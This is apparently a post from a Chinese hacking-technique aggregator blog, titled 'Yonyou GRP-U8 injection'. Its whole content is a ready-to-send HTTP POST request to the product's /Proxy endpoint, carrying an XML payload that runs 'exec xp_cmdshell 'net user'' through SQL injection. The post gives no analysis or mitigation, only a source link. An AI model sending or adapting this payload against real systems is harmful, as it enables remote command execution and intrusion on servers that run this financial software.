记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

用友grp-u8 注入

2020-10-17 12:39
POST /Proxy HTTP/1.1
Accept: Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;)
Host: host
Content-Length: 357
Connection: Keep-Alive
Cache-Control: no-cache


cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell 'net user'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>

知识来源: https://vlun.org/bug/832.html

阅读:7967 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“用友grp-u8 注入”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云